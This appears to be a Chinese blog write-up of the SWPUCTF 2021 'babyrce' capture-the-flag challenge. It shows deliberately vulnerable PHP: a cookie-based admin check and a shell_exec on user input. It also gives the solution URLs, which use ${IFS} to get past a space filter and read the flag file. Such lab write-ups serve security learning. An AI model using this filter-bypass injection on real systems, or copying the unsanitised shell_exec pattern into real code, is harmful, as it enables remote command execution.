[SWPUCTF 2021 新生赛]babyrce

发布于 2023-11-21  366 次阅读


补充知识

1.修改cookie

 <?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{
    include "../next.php";
}
else
    echo "小饼干最好吃啦!";
?> 

使用hackbar添加cookie,admin=1

访问新文件:rasalghul.php

2.绕过字符过滤,执行Linux命令

<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
} 

因为过滤了空格,所以使用${IFS}代替空格

​ IFS{IFS}是一个Shell内置变量,它表示“Internal Field Separator”(内部字段分隔符),用于在Shell脚本或命令中指定用于分隔单词的字符集,在 Shell 脚本或命令中使用空格来分隔参数和选项是正确的。

输入:http://node4.anna.nssctf.cn:28539/rasalghul.php?url=ls${IFS}/
得到: bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var 
查看flllllaaaaaaggggggg下的文件
输入:http://node4.anna.nssctf.cn:28539/rasalghul.php?url=cat${IFS}/flllllaaaaaaggggggg 
得到:flag 
下次见面会是什么时候呢?
最后更新于 2023-11-21